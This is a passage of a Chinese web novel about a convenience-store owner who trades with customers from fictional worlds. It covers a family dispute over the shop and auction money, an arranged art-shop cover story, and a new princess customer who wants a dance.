申明月神情空白,后宫妃子公主都难得一见的好东西,竟然在小卖部轻易买到。 “要说它是浮光锦那是不可能的,但它和浮光锦相似度极高，”萧妧妧没见过浮光锦,语气显得有些虚，“不管是不是浮光锦,它很漂亮不是吗？会有人愿意为它的漂亮买单。” 申明月重重点头，颇为赞同,“萧老板说得对，我若说它是流光锦、水晶锦,谁能挑错？哪怕不是浮光锦,它也值得卖出浮光锦的价。” 小姑娘昂着脑袋,笑容肆意,王霸之气初显。 萧妧妧撑着脸颊看她,真好奇她登基为帝的那天该是怎样的风采。 申明月小心收起布包，揣进带来的箩筐里，再从怀里抽出薄册子。 “萧老板，这是我在族中看到的《古文释读》,只抄了上半册，足够解释那些字的出处。” 萧妧妧拿在手里翻了翻,发现根本看不懂,于是摆在书架上。 “如果真拿到赏金,你想怎么用？需不需要我帮你换成金条？” 萧妧妧很矛盾，理智上，她认为投稿不可能成功，情绪上，她有种能拿下悬赏金的强烈预感。 两个位面时间流速有差别，下次见到申明月说不准是什么时候，萧妧妧干脆问个清楚，好坏准备一起做。 “我不要，能赚这笔钱多亏了萧老板的渠道，如果真能拿到赏金，我和萧老板一人一半，我的那一半算进货款里，剩下的等我下次来补上，萧老板觉得如何？” 萧妧妧一愣，这不等于是全给她了？ 不管能不能拿到，申明月这会表达出来的态度让她很受用，也看得出来，小姑娘是真有信心拿到赏金。 “你真不要？平分的话，你至少能拿到黄金三十五两左右，不少了呢。”萧妧妧戳几下计算器，给出一个预估价，再次向她确认。 申明月坚定摇头。 “既然你坚持，那就听你的，我来给你列清单。” 为了回报申明月的“懂事”，萧妧妧多给清单加了几样古代位面值钱的好东西，万两黄金卖不到，千两黄金不在话下。 申明月看到清单上的货品和数量，又惊喜又感动还有点惶恐。 “谢谢萧老板，第一次做生意本钱不够，还要你给我折价，等我以后赚了钱，萧老板你就按正常价算吧，总不能一直让萧老板吃亏。” 两百三十多两黄金换来这么多值钱东西，她心里不踏实。 不管萧妧妧如何说，申明月打定主意，等第一批货卖出去，她要把该给的货款补足。 萧妧妧心虚，真按正常价算，几两碎银足够打发这张清单了。 “好啊，那我等着你赚大钱。”白送来的金子谁舍得拒绝啊，萧妧妧笑眯眯回她。 申明月抱着一箩筐的东西蹦蹦跳跳回家。 “哎呦，你怎么撞人啊。” “对不起对不起，姐姐你没受伤吧？” “哎呀！你不许碰本宫！” 萧妧妧头一次见小卖部热闹得鸡飞狗跳，听到里面叽叽喳喳，马上放下东西跑进去。 “萧老板，我好像……对不起，我不是故意的。” 申明月抱着箩筐站在旁边，手足无措，紧张地望着萧妧妧。 萧妧妧拍拍申明月肩膀，安抚：“没事，交给我处理，你快回去吧。” “萧老板，是我惹的麻烦，我要留下来。” 女子神情倨傲，穿戴华贵，还自称本宫，看起来不好惹，申明月不能让萧老板替她担风险。 萧妧妧没说什么，示意申明月去旁边坐着，同时打开客户列表瞅一眼，上面毫无变化。 她偏移目光看向身后假门，因新客人刚进来，结界显示的画面变成了女子来时的环境。 秀丽、奢华，很像她参观过的古代寝宫。 收回目光落在面前少女身上，看她撅着嘴，眉头微蹙，整理完衣裳挑剔地打量小卖部，再挑剔站在她面前的萧妧妧。 萧妧妧礼貌微笑：“我是不倒闭小卖部的老板，萧妧妧，可以叫我萧老板。” “你这里是什么地方？东西奇奇怪怪，人……”她撇一眼一身粗布衣裳的申明月，以及“衣不蔽体”的萧妧妧，小声嘀咕：“……也奇奇怪怪。” 申明月放下箩筐，迈步挡在萧妧妧身前，“这里是不倒闭小卖部，买卖东西的地方，你想要什么萧老板都能满足你。” 萧妧妧神情微窘，拉了拉申明月的袖子，大话可不能随便说，她弄不来的东西多着呢。 女子多看一眼萧妧妧，目光充满质疑，“哦？想要什么都能满足本宫？” 萧妧妧不好拆台申明月，扯起嘴角，“能进小卖部的人必定是有难处、有欲望，说说看，看见小卖部之前，你在想什么。” 女子大惊失色，“你怎么知道本宫想要……” 最后几个字差点蹦出来，好在她反应快，捂住鲜艳红唇才没暴露自己心事。 申明月留心她的一言一行，交流片刻，对面前女子的评价很快改变——不太聪明的样子。 她叉着腰，挺直脊背，淡定接话，“要什么赶紧说，萧老板很忙的，如果你好奇小卖部，喏，有宣传单，看完你便明白了。” 申明月把萧妧妧画给她的宣传单让给女子，“我也是小卖部的客人，不会骗你的。” “你看着比我还像小卖部的老板，”萧妧妧刚刚还神情严肃正经，这会泛起淡淡笑意，好整以暇的调侃申明月。 申明月脸颊一红，略显羞窘，“我想起我进小卖部时也是这般。” 一惊一乍，问题贼多*，甚至有点烦人。 女子没留意两人低声嘀咕，看着花里胡哨的宣传单，黑白分明的眼珠子骨碌碌转。 萧妧妧看一眼女子，摸摸申明月后的脑勺，“正常，第一次进店的客人难免有戒心，等她看完单子就好说了。快回去吧，这里没什么大事，你离开太久不好。” 申明月见外面已经天黑，伺候自己的小丫鬟即将返回，又见门口的女子安安静静看宣传单，遂放下心，挥挥手告别，抱起东西离开。 等女子回神，面前只有萧妧妧一人，她不满地张望，“唉，她怎么走了，她还没给本宫赔罪呢！” 萧妧妧没理会她，岔开话题问：“这里没别人，说说你想要什么吧。” 女子转过头，圆溜溜杏眸上下扫视她，随即鼻子一皱，娇俏语气中藏着浓浓的警惕，“哼，本宫才不信你能帮忙呢。” 小卖部有古怪，什么满足欲望解决难题，肯定是骗子！ 她瞪了萧妧妧一眼，提起绯红的繁复裙摆，甩出漂亮弧度，消失在结界前。 萧妧妧：……算了，不跟小孩子计较。 看她年纪轻轻自称本宫，又住在宫殿里，多半是哪本书里的公主吧。 公主嘛，难搞一点很正常。 她不由拿申明月做对比，同样是公主，两人差别实在太大了。 不知姓名出处的新顾客离开，小卖部恢复安静，萧妧妧回到后院继续收拾整理，做收尾工作。 直到天色黑透，萧妧妧伸个懒腰，关门闭店，回家休息。 第二天开门营业后，萧妧妧总算腾出时间算账，算小卖部开业以来的营业额。 收银系统一拉明细，开店半个月的收入清晰列出，扫到最下方数字，萧妧妧五味杂陈。 营业额共计6628.3元，撇除人工、水电，纯纯倒贴，好在铺子是自家的，无需负担房租，否则逃不掉倒闭的结局。 要不是担心邻居起疑，萧妧妧甚至想过关门，只针对异世界顾客售卖货品。 惆怅片刻，萧妧妧又去算系统空间里存了多少好货，攒下多少金子，心情慢慢好转。 果然，钱才是最能抚慰人心的良药。 萧妧妧打起精神，穿上围裙，拖地擦灰补充货架。 忙着忙着，天色灰暗，萧妧妧感叹时间过得太快，转头发现原来外面乌云密布，要下大雨了。 她跑去院子里推史努比进屋檐下，披上雨衣，门口发财树挪进屋，门里门外铺上防滑地垫。 天上劈下第一道雷时，萧妧妧刚好把小卖部里里外外打扫过一遍。 她叉着腰站在门口，看雨水哗啦啦，看行人狼狈地奔跑。 才看出一点意趣，手机嗡嗡震动。 萧妧妧先是看到张芸发来一连串的语音，没等她点开听一遍，萧大明打来电话。 “妧妧，你现在忙不忙啊？” 萧妧妧看了看空荡荡的店铺，“不忙，需要我去接住客吗？” 萧大明哦了一声，“不是住客，是你婶婶，你婶婶找你，说要和你商量点事。” 萧妧妧满脑子的困惑，王翠菊找她商量事，直接来小卖部不是更方便，何必通过萧大明传话。 萧妧妧：“婶婶在我们家？” 萧大明：“在呢，问她什么事不肯说，非要等你回来商量，我怕影响你做生意。” 萧妧妧觉得不对劲，挂断电话去听张芸发来的语音。 “你婶婶来了，说是有正经事找你，我看是放屁，不知道憋着什么坏主意呢。” “这人真有意思，有事没事跑来膈应人。” “我跟你说，你婶婶万一提小卖部的事，别理她别吱声，我来说。” 萧妧妧拧眉，婶婶还没死心啊？ 37 第37章 ◎想要小卖部，不可能！◎ 萧妧妧回到家时,膝盖以下几乎湿透，泡了水的洞洞鞋格叽格叽响。 王翠菊听到动静，拉开门探出头，热情得像换了个人。 “妧妧回来啦,身上都湿了,快进来擦擦,换身衣服,”王翠菊挤出一张皱巴笑脸，硬拽着萧妧妧胳膊进屋。 王翠菊力气不小,捏得萧妧妧胳膊泛红，好几下才挣脱开。 “婶婶怎么没去店里找我？什么事啊急吼吼催我回来。”萧妧妧扯扯嘴角,皮笑肉不笑。 张芸递来纸巾帮忙擦水珠，又去调高空调温度,侧过身时给萧妧妧拼命使眼色。 萧妧妧假装没看到，琢磨她到底想怎么唱这出戏。 说好要等萧妧妧回来商量事,她回来了,王翠菊却是绕过她和萧大明说话。 “二哥,今天来还是想问问铺子的事,我知道铺子在妧妧名下,所以把妧妧叫来一起商量商量。” 萧大明露出果然如此的微妙神情，抬手抱起玻璃杯，闷头喝茶。 客厅因这一句话落入沉默，大家各忙各的,不吱声。 张芸拿着毛巾回来，催促萧妧妧擦水珠,对王翠菊不理不睬。 王翠菊不怕受冷落,她吃过的闭门羹不在少数。 她把每个人的表情都看在眼里,眉稍一挑，推心置腹的语气开口。 “正好妧妧也没心思开店，我好几回看她大白天往外跑，一跑大半天，想进去买东西都找不到人。 晚上更是不得了，7点8点关门，比上班的还轻松哦。 我问了老刘，生意不要太差，才开业看起来跟要倒闭一样。 二哥你说说，是不是女孩子她心不定，整天想着出去玩，你说这样怎么做生意。 我看还不如让我们家昌平接手，昌平从小就坐得住，做生意肯定是要比女孩子强的。 他以前是没机会，二哥你信他，他可是老萧家唯一的男丁，会有大出息的。” 萧妧妧挺佩服三婶的，总能轻而易举挑起她的火气。 张芸听到女儿嗤笑，隐晦地给萧妧妧使眼色，让她别说话，萧妧妧却不想忍。 “昌平哥确实坐得住，心也定，但是定的地方不对啊，小卖部可没有赌桌定他的心和屁股。” 张芸气得瞪了女儿好几眼，偷摸在茶几下面踩萧妧妧的脚，洞洞鞋格叽一声突兀又尖锐的响起。 萧大明直挠头，看看弟媳看看闺女，又看看板着脸的媳妇，坐立不安，大口喝茶。 王翠菊扑了厚厚粉底的脸几度变幻神情，“妧妧书读得多确实不一样，说话夹枪带棒的。” 余光狠狠剐了一眼萧妧妧，王翠菊重新瞄准目标，回到正题上。 “二哥你说说看是不是这个道理，昌平接下小卖部，有个事业绑着他，以后不就没那些乱七八糟的事了吗？ 结果你看看，二嫂不理解我的苦心，妧妧不能体谅我，以为我在跟她抢东西，我太冤了。 何况188号本来就是老头子留给昌平的，我们拿回去也是应当的。” 王翠菊抹了抹不存在的泪，一副心力交瘁、爱子心切的老母亲模样。 每次拿昌平说事，萧大明都会产生动摇，最后不得不给点好处息事宁人，王翠菊吃准了萧大明会心软。 萧妧妧不知道类似的剧情在家里上演了多少回，只听这一回，她差点气笑。 只想着要回院子，绝口不提钱的事，王翠菊真是好意思。 “以前不说了，妧妧小，咱们大人的事不告诉她，她误解很正常，现在妧妧毕业回家开店，已经是大人，能当家做主了，所以我做婶婶的要解释清楚，免得她听了谁的话以为我多贪心。” 张芸嘁了一声，翻出一个白眼。 “翠菊你是在点我吧？我直白告诉你，想要小卖部，不可能！ 你就算拿钱买我也不卖你，还让回去，你白日做梦发癫吧你！ 萧大明到处借钱托关系，前前后后跑了多少趟才把院子买回来，你别说不知道。 萧昌平就是让你给养歪的，小小年纪不学好，跟着别人赌博，没钱还跑去借钱。 说到借钱，萧昌平可真是好样的，大过年骗了我们家妧妧的压岁钱去赌，撒谎说自己让人绑架了，找他二叔大伯一家要五百万赎金。 他可真敢开口，这样的人，让高利贷乱刀砍死都不过分。” 张芸生起气来说话不讲分寸，怎么恶毒怎么伤人怎么来。 王翠菊最怕高利贷找上门抓人，闹得最凶的那几年，她每晚的噩梦都是这些。 王翠菊有点破防了，腾一下站起，怒目圆瞪。 “二哥你看你媳妇，她自己生不出蛋诅咒别人家孩子，昌平可是老萧家的大孙子，咱爸去世的时候最放不下昌平……” 萧大明深吸气，提高嗓门：“行了行了，有事说事，都少吵几句吧。” 玻璃茶杯咚一下搁在桌上，琥珀色的茶水跃过滤网飞溅桌面。 王翠菊像掐住了嗓子，面色忽青忽白。 大伯一家已经对他们不闻不问，只有萧大明还愿意出钱，王翠菊要仰仗萧大明，便只能克制脾气，软磨硬泡。 张芸又翻了个白眼，对萧妧妧说：“去换衣服，这里没你事。” 王翠菊脱口而出，“不行，妧妧不能走。” 萧大明是真冒出火气了。 他以为王翠菊这次找妧妧回来是什么正经事，比如相亲，比如问问电影投资。 结果倒好，非要在孩子面前闹，闹得还是那些陈芝麻烂谷子的破事。 “有事你跟我们说，扯孩子做什么，”萧大明不满地瞪王翠菊一眼，偏头说：“午饭来不及做了，你点几个菜回来吧，别管我们，和昭昭先吃。” 萧妧妧也不想留下听王翠菊贬低自己，抬高萧昌平，正要起身，王翠菊忽然歪过来按住她。 “这事和妧妧有关，她走了我和谁说去？” 萧妧妧眨眨眼，“和我有关？” 她重新坐回沙发，翘起二郎腿，等她说下文。 萧大明和张芸对视一眼交换眼神，两人都摇摇头，想不到是什么事。 王翠菊调整表情，咬牙切齿的开口：“要不是上回路过，我都不知道妧妧送了个玉扳指去拍卖行，昨天我去打听了，卖出去十五万，十五万！” 王翠菊酸溜溜的语气遮掩不住，看萧妧妧的眼睛几乎冒红光。 萧妧妧疯狂转动脑筋，回想整个过程能从哪个环节传出消息。 但漏洞太多，她一时没办法确认。 “我想好了，小卖部可以不给我，但是总不能让我们昌平去死吧？ 正好妧妧赚了十五万，只要她拿出十五万来就好。 我想过，妧妧一个女孩子，花不了几个钱，十五万留在她手里没用，我们昌平不一样啊，正是需要用钱的年纪。” 萧妧妧恍然，王翠菊拿小卖部说事是虚晃一枪，最终目标是她送拍玉扳指赚来的十五万。 槽多无口。 萧妧妧一时间不知道该给出什么样的表情，表达自己想骂人的心情。 张芸没去关注玉扳指的事，直接开口骂：“没见过你这么没脸没皮的，老萧的退休金你们要花，现在还想让妧妧出钱养着你家那个废物？” 萧大明算是彻底听明白了，王翠菊根本是冲着钱来的。 闻言，萧大明沉下脸，斥道：“不像话！” 他自己省吃俭用，花自己的退休金为自己的亲弟弟、亲侄子填窟窿，是他出于血缘与亲情做的决定，这份决定和萧妧妧无关，更不该把她牵扯进来。 “王翠菊，你找我要钱我不说什么，我知道你是把钱花在老三身上，昌平身上，我愿意吃这个亏。 但是我今天警告你，你敢把主意打在妧妧身上，以后你别想从我手上拿到一分钱，不仅拿不到，你把以前我给出去的钱全还回来，你最好想想清楚。” 萧大明难得疾言厉色。 王翠菊这人确实一言难尽，可想到她这副模样说到底是为了他的弟弟、侄子，萧大明不好说太难听的话，一直忍让，这一让，不止媳妇不理解，连王翠菊都当他是好欺负。 现在好了，当着他的面要吸血他闺女，萧大明脾气再好再体谅她的苦衷也不想轻轻放过。 王翠菊不知道萧大明为什么突然生气，半张着嘴巴说不出话，好一会才找到声音，语气急促的争辩。 “二哥，不是……妧妧她有钱，十五万呢，我都听那个什么经理说了，玉扳指很值钱的。 那我不要十五万，给十万成不成？ 对了，说不准那个玉扳指就是从老房子里面扒出来的，那这个钱肯定有我们家昌平一份……” 萧大明气得脑门青筋暴起，砰一下，巴掌砸在桌上。 “她有钱没钱跟你没关系，别说十五万，就算有一百五十万一亿五千万也没可能。” 张芸见萧大明气势汹汹，腰杆子挺得直直的，“赶紧走，真会挑时间上门，让不让人吃饭了。” 张芸动作利落，拽起王翠菊甩出门，大门咣一下摔上。 萧妧妧左看看右看看，挠挠头。 根本用不着她，爸妈的战斗力比她想象的强不少。 只有一家三口在，张芸双手环胸，抱怨道：“你看你，忍忍忍，体谅体谅体谅，好了吧，胃口养大了吧？” 萧妧妧附和，“升米恩斗米仇，回头大哥还不上钱再怨上咱们怎么办？” 张芸捂着胸口哎呦哎呦叫唤，“我和你爸在警局的时候，看到好多赌鬼还不上钱报复社会的事，真吓人，昌平可别变成那样。” 萧大明发过怒后，怅惘叹气。 他愿意填窟窿吊着老三家，除了心疼老三辛苦，怕的就是萧昌平走上极端。 现在看，他这么做不知道是对是错。 萧妧妧配合张芸一唱一和，看老爸神情恹恹，像个愁闷的小老头，自己跟着提不起劲。 她缩了缩脖子，悄悄回房间，给许年华拨通电话。 有些情况她得打听清楚，送拍玉扳指的事有没有可能从佳博那里流传出去。 玉扳指是小事，后续拍卖价值五百万的匣子才是重头戏，万一佳博做不到完全保密，谁知道有什么情况找上门。 财不露白的道理，萧妧妧算是深有体会了。 38 第38章 ◎令人心动的赔罪方式◎ 许年华很快接通电话,没等她开口，先一步殷勤询问。 萧妧妧打断他，也不拐弯抹角，开门见山问出心中疑惑。 “唔……实不相瞒,这事错在我,我愁了好几天不知道怎么跟您说呢……” 电话那头顿了顿,似乎难以启齿,措辞片刻，许年华用充满歉意的语气,说出那天在小卖部门口让王翠菊堵住的事。 萧妧妧想用排除法找到漏洞，以后更加注意些,哪知道反而是她认为靠谱的拍卖行方走露了消息，不由愣住。 “您婶婶肯定是听说了什么,她冲上来一顿质问，我走哪她堵哪。” “小萧老师,是不是给您惹麻烦了？您看我能为您做什么,我肯定配合您解决。” “这件事严格说起来是我失误,我想当然了,以为是您母亲呢……不过您放心,我们公司的流程是绝对没问题的，拍卖双方的信息绝对不会泄露一星半点。” 确定是许年华个人问题，萧妧妧不禁松了口气，不是拍卖行方出事就好,金丝楠木匣子可以继续参加拍卖。 “小萧老师您那边没事吧？这样，醉月轩我请客,当是我赔罪,哦,不止是醉月轩……” 电话那边的声音再次停顿了片刻，许年华似乎在移动，喘了好一会才接上话。 “喂，小萧老师您还在听吧？那我继续说啊，赔罪是肯定的，醉月轩当是咱们庆祝玉扳指成功拍出去。 听说您开了家新店，我记得是艺术品集合店？您看这样成不成，在艺术收藏圈子我也混了不少年，还算认识点老藏家，回头咱们碰面聊，要是合适的话……” 许年华正心虚忐忑，叭叭说个不停，萧妧妧插不上话，等她能插话的时候，就听到许年华自己先给出赔罪方案，虽说得含含糊糊，但意思很明显了。 令人心动的赔罪方式，她真不舍得拒绝，萧妧妧沉吟片刻，按捺住心底的雀跃，一口应下，同意他见面后细聊。 挂断电话，萧妧妧暗暗思忖，许年华确实心思够细，她随口提过一次新店的消息，竟然记下了。 那么问题来了，三婶到底从哪听来她送拍玉扳指的消息？ 她能找上许年华，必定是笃定了消息真实性的，不会是方婶婶那里吧？ 萧妧妧只知道她们很喜欢一起跳广场舞。 午后小憩时间，萧妧妧却睡不着，躺在沙发上翻来覆去琢磨，琢磨着琢磨着，她想起一件事。 艺术品集合店开得莫名其妙，商品来源不可说，客人可能不会觉得如何，难保街坊邻里不会说三道四。 思来想去，萧妧妧谨慎起见决定打个补丁，出门找方爷爷。 午休时间又正逢大雨，本就冷清的玉仁斋见不到几个客人，倒是檐下躲雨的游客三三两两。 萧妧妧进店后便看到方爷爷在喝茶听雨，方婶婶忙着打扫货架，整理登记摆件。 “呦，妧妧来啦，快坐，一起喝杯茶？”方玉仁心情不错，翘着二郎腿晃悠。 萧妧妧注意到，她进店后方婶婶打扫的速度放缓，半侧着脑袋，竖起耳朵。 “方爷爷，您推荐的拍卖行真不错，玉扳指卖出去15万呢。”玉扳指的消息已经漏出去，萧妧妧便想利用起来，她像偷了腥的猫，乐滋滋来炫耀，顺道推去自己排队买的奥利奥蛋糕奶茶，“喏，请方爷爷喝奶茶。” 方玉仁眼睛放光，偷瞄一眼儿媳，见她没吱声，悄摸收下奶茶，嘬一大口解馋。 萧妧妧看他露出享受的神情，眯了眯眼，她和方爷爷关系好的最大原因就是两人口味一致，方爷爷不会扫兴地劝她少喝奶茶。 趁着方婶婶在，萧妧妧直截了当说明来意，“方爷爷，听说您这间铺子要转出去，找到人接手了吗？” 方家要搬出国的消息早在巷子里传开，萧妧妧属于消息不灵通，慢半拍知道的那波，这会来打听，方家差不多做好了准备。 方爷爷乐呵呵开口：“找到了，人家算了开业的吉利日子，在十月初，我们要赶在8月中旬前搬走。” 萧妧妧环顾店铺，“那……方爷爷，您店里的物件也让出去了？” 方玉仁听她话里有点别的意思，扭头看她，“那倒是还没有，你方叔正在联系人呢，看看同行有没有要收的，剩下这批转过去，我们可算轻松了。” 萧妧妧多看一眼多宝架，各种瓷瓶、玉瓶、石雕摆件，总数约有二十多件。 方玉仁调侃：“怎么，妧妧要给我介绍人啊？” 萧妧妧咧了咧嘴，提高嗓门：“嘿嘿，方爷爷，玉扳指是我在古玩市场捡漏买回来的，这不是卖出高价了吗，我现在对这些艺术品老物件很有兴趣，想在小卖部后面开一间艺术品店。” 方玉仁猛吸一口奶茶，“你要开新店，还是卖艺术品？认真的吗？” 方婶婶直接偷懒了，躲在架子后面探出半颗脑袋。 萧妧妧重重点头，“我当然是认真的。只开一个小卖部生意有点惨淡，正好玉扳指卖出去15万，我想着拿这15万进货再开一个店，多少能赚点生活费吧。” 方玉仁看了看自己店里的东西，多好算不上，但确实是艺术品，正好他也着急清仓。 “你想要，我肯定乐意转给你，15万用不着，你看到的这批货，8万差不多能搞定，不过我得问清楚了，你真要开店啊？ 现在生意不好做，你有15万存着多好，再不济去买点金子囤着，买辆小车，不比打水漂好？你爸妈知道吗？” 方玉仁撑起身子，也不喝奶茶了，正儿八经的和萧妧妧讨论做生意这件事，颠来倒去劝她别头脑发热做决定。 萧妧妧大声道：“我想给我爸妈惊喜呢，还没说。哎呀，年轻人嘛，总想闯一闯试一试，再说了，这十五万是我能接受的底线，亏损也不怕，反正白捡来的。” “方爷爷，我是认真的，昨天已经有几个朋友上门，给我送来撑场面的好东西呢。” 方玉仁见她说话有理有据，是打定主意要开店，便不再劝，“老二媳妇，你让老二回来吧，把东西整理整理送到妧妧的小卖部去。” 方婶婶应了一声，赶紧打电话。 清单是现成的，萧妧妧接过装模作样地扫一眼，再看一眼总价。 “算是清仓甩卖吧，别人卖来多少我们给你就是多少，对了，这里好多是别人寄卖的，我原先想着找到下家再通知客户，你要是没问题，我把你联系方式给他们，寄卖的生意跟着转到你手上。” 萧妧妧当然没意见，正好她缺东西填充店面，八万花的不算亏。 她爽快地转账，只等第二天东西送到小卖部。 临走前，她苦恼地叹气，“也不知道三婶从哪听说我卖玉扳指的消息，今天闹着要我拿十五万给堂哥还赌债，吓得我赶紧跑出来把钱花了，哪怕东西卖不出去，都比白送给赌徒好。” 方玉仁拧眉，“小王越来越不像话了，这钱你可不能给，一分别给。” 方爷爷为她打抱不平，谴责王翠菊不干人事。 方婶婶小心偷瞥一眼萧妧妧，缩着脑袋躲开了。 萧妧妧余光一直注意方婶婶呢，看她心虚脸红的样子，基本可以断定，消息多半是从她这里传出去的。 等明天天晴，方婶婶去广场上扭一扭，188号新开一间艺术品集合店的消息就能传遍小巷，她为新店花光积蓄的消息也能传出去。 离开玉仁斋的时候，雨下得更大了，街上积水淹到脚脖子，抬脚时稍不注意，洞洞鞋能顺着水流冲走。 萧妧妧的心情和天气正相反，她急速旋转手中雨伞，踏着重重的步子，格叽格叽声中，开出一朵朵大水花。 雨急风大，吹得雨伞前后左右飘，萧妧妧便这么步步生花的回小卖部。 蹚水走到小卖部附近，萧妧妧两脚并拢，打算跳完最后一步路，造一朵最大的花。 “哗！” “黎总小心！” 这句提醒来得晚，说出口时，萧妧妧踩出来的大水花已经溅湿了黎行聿的灰西裤。 黎行聿被迫停下脚步，他撑着伞，低头瞥一眼潮湿的裤腿，再看一眼面前瞪着狐狸眼一脸懵的萧妧妧。 “对不起对不起，我没看到有人过来，黎先生要不先进店，我那里有纸巾。” 怪她不好好撑伞，非要扛在肩头，低矮的伞沿影响了视线，萧妧妧没能及时注意到路边有车子缓缓停下，更没注意到有人推门下车。 外面雨大，整条步行道看不到几个行人，不然她不敢这么松弛玩水，哪知道都快进店了惹出意外，算她乐极生悲吧。 她忙不迭道歉时，黎行聿的秘书飞快下车，抽出帕子帮忙。 “没事，下雨天弄湿衣服很正常，”他挡开秘书的手，接过帕子擦掉溅到肌肤上的水珠。 萧妧妧赶紧收了伞，抬手请人进店。 “这……” 两人前后脚进店，齐齐愣住，后门附近的地板上一片狼藉，长桌上的东西散落一地。 萧妧妧想到什么，浑不在意的说：“外面风大，刮掉了东西。” 她不动声色地领黎行聿进店铺，递上一包抽纸，又找来一块干净毛巾由他选择。 “黎先生是来买东西的？” 车子正好停在小卖部门口，不像是经过。 黎行聿两个都没选，开口回应她，“嗯，棒棒糖，荔枝味。” 萧妧妧心里愧疚，抱出一整盒荔枝味棒棒糖由他挑选。 她爱吃荔枝味，上回送棒棒糖前把荔枝味的全挑出来了，结果倒巧，小孩子和她口味一致。 刚犯了错，萧妧妧本想不收棒棒糖的钱，黎行聿淡淡的回一句“不必”，言简意赅地拒绝了她，自顾自付款。 萧妧妧看一眼他面无表情的脸，不敢再与他争辩。 其实黎行聿脾气挺好的，弄脏他衣服都没看他生气，就是那张脸让人胆怯，放肆不起来，尤其她有错在先的情况下。 小插曲很快过去，黎行聿带着他的棒棒糖离开，萧妧妧飞快锁门，叉着腰走到后门结界附近，深吸气。 谁啊，光天化日之下上门砸场子，没礼貌！ 【作者有话说】 本章之后隔日更[垂耳兔头] 39 第39章 ◎“你说能满足本宫的需求，是真的吗？”◎ 萧妧妧叉着腰,气呼呼瞪向一片狼藉的后门，认命地收拾残局。 不会是申明月和苏娇娇做的，龙傲天忙着呢，他的可能性不大。 萧妧妧思来想去,新来的客人最有嫌疑。 说到新来的客人,萧妧妧只能想起那个一脸倨傲的漂亮公主,然而无凭无据,她不好冤枉人。 不过今天这出倒是提醒了她，不是所有客人都是苏娇娇那样的。 她固然担得起损失,但平白来这么一出，很影响心情。 萧妧妧戳了戳系统,“统，像今天的情况,有没有办法预防？” 系统的机械音滴滴两下，而后光圈亮起,引导她摸到设置功能。 【新手指引有防护功能详细介绍,您可以参考】 萧妧妧瞬间不敢吱声,缩着脖子打开防护功能。 启动后,小卖部所有物品归到防护范围内,非正常营业时间以及卖方不在场的情况下，异世界客户无法进行拿取，更无法对其使用暴力。 萧妧妧安心了，趁机琢磨一下其他功能,然后就看到了几个从未关注过的小设定。 【暂停营业】、【开始营业】很好理解，【永不交易】类似黑名单,需要手动填写客户名称和所属位面。 【防沉迷】功能属实有点意外,仔细一看,是设置客人在小卖部逗留的时间。 默认是72小时，超时会被系统踢出去，特定客人可增加或减少时间，每人每年只能修改一次。 萧妧妧想了想，直接给苏娇娇和申明月拉到最大值999小时。 就在萧妧妧想看看系统还有多少她不知道的惊喜时，后门传来动静。 她转身回头，见是漂亮公主，暗道一句好巧。 没等开口，随即注意到她双眼红肿，呜咽声细弱，竟是哭哭啼啼地找上门。 萧妧妧为难了，这要怎么整？ 好在没为难太久，漂亮公主看到店里有人，自己先憋不住开口。 “你说能满足本宫的需求，是真的吗？” 漂亮公主即便是抽抽搭搭，也不影响她傲慢的姿态。 萧妧妧丢下抹布，把展示牌重新扶上长桌，直截了当的问：“桌子上的东西是你扫下去的？” 漂亮公主紧拧眉头，瞪着一双通红杏眸看过来，她都急成这样了，萧老板还有心思关心那堆破东西。 萧妧妧没见她立刻否认，心里有数了，淡淡开口：“你趁我不在上门砸场子，还指望我做你生意？” 漂亮公主微微愣住，继而面颊臊红，略显心虚。 她支支吾吾开口：“不、不是的，我不是砸场子……我当时太生气了，所以……” 萧妧妧打断：“太生气了所以就要砸场子？” 漂亮公主直跺脚，“你怎么胡说，本宫说了，这不算砸场子。” 萧妧妧双手环胸，定定地望着她。 漂亮公主抿抿唇，不情愿的小声嘀咕：“大不了赔你钱就是了！” 她负气离开，不多会再回来，直直丢来一个巴掌大的荷包，荷包塞得鼓囊囊，砸在长桌上咚得一声闷响。 萧妧妧面色稍霁，让开身，请她进店。 “赔礼我收下了，下次再敢乱来，小店可就容不下您这尊佛了。” 漂亮公主鼓起脸颊，想到自己有求于人，到底没出声反驳，垂头耷脑跟进店铺。 萧妧妧：“说吧，要买什么，说不定我能帮你呢。” 漂亮公主扭扭捏捏开口：“我要买的不是东西，是……是……” 萧妧妧见她羞怯又窘迫，一副难为情的样子，更好奇了，撑着下巴等。 漂亮公主左右瞄一眼，低声道：“有没有那种，惊艳所有人的舞？” 萧妧妧默了默，她一脸娇羞的像是要买情趣小衣服的样子，结果只是买一支舞…… “母后寿诞，本宫要献舞一支，堂堂公主，怎么能让其他人比下去。” 萧妧妧仰头望着天花板，回想自己在哪本书里见过献舞的剧情，可翻来覆去想了一圈，一无所获。 她说一句稍等，走到后门边捡起荷包，碎金二十多粒，换算过来约莫有6300克左右，沉甸甸坠得手酸，像提了一箱矿泉水。 萧妧妧掂了掂，心里有数后塞进空间，果不其然，荷包进空间的瞬间，交易成立，列表点亮。 然后，萧妧妧就看到了柳如烟三个字，以及她的世界——《最强首辅：庶子的科举路》 嚯，她想起来了，是一本科举文，准确的说，是男频科举文，再准确一点，是大开后宫的男频科举文。 柳如烟在里面扮演了什么样的角色，哪怕萧妧妧只看了几十章弃文，也能猜个八九不离十。 公主，还叫柳如烟，多半是要倒贴男主的，贴财贴色贴权利贴关系，是男主待采割的乖韭菜，大血包。 不是萧妧妧对男主有偏见，而是直到弃文前的剧情一直如此。 攀登权利顶峰的路上，凡是漂亮女角色都像妖精见着唐僧肉一样，生扑男主，奉献自己的一切。 她是公主，看起来没那么快出场，只是不知道剧情走到哪了。 萧妧妧试探道：“我看你一脸娇羞，不只是跳给你母后看吧？” 柳如烟愣了一会后直接红温，杏眸一瞪，“胡、胡说，谁要跳给那个登徒子看！本宫是为了赢过那些小蹄子。” 萧妧妧默了默，这傻孩子，不打自招。 登徒子，男主？ 小蹄子，馋登徒子的血包女配？ 萧妧妧自己就会跳舞，大学前一直学民族舞，后来因为兴趣，又学习了街舞，只要柳如烟大方，她愿意费点工夫帮忙出主意。 现在得知她学舞是为了压过其他郡主千金，吸引男主目光，想到那个糟糕的渣男，萧妧妧便提不起劲。 提不起劲，但钱是要赚的。 萧妧妧便从自己的视频收藏夹里扒拉一通，“喏，看看有没有你需要的。” 她从第一个视频开始播放，只等柳如烟蹙眉，她便划开，跳下一个。 然而柳如烟心思根本不*在舞蹈上，她瞪圆了杏眸，半张着嘴巴，直勾勾看平板。 “它会说话！” 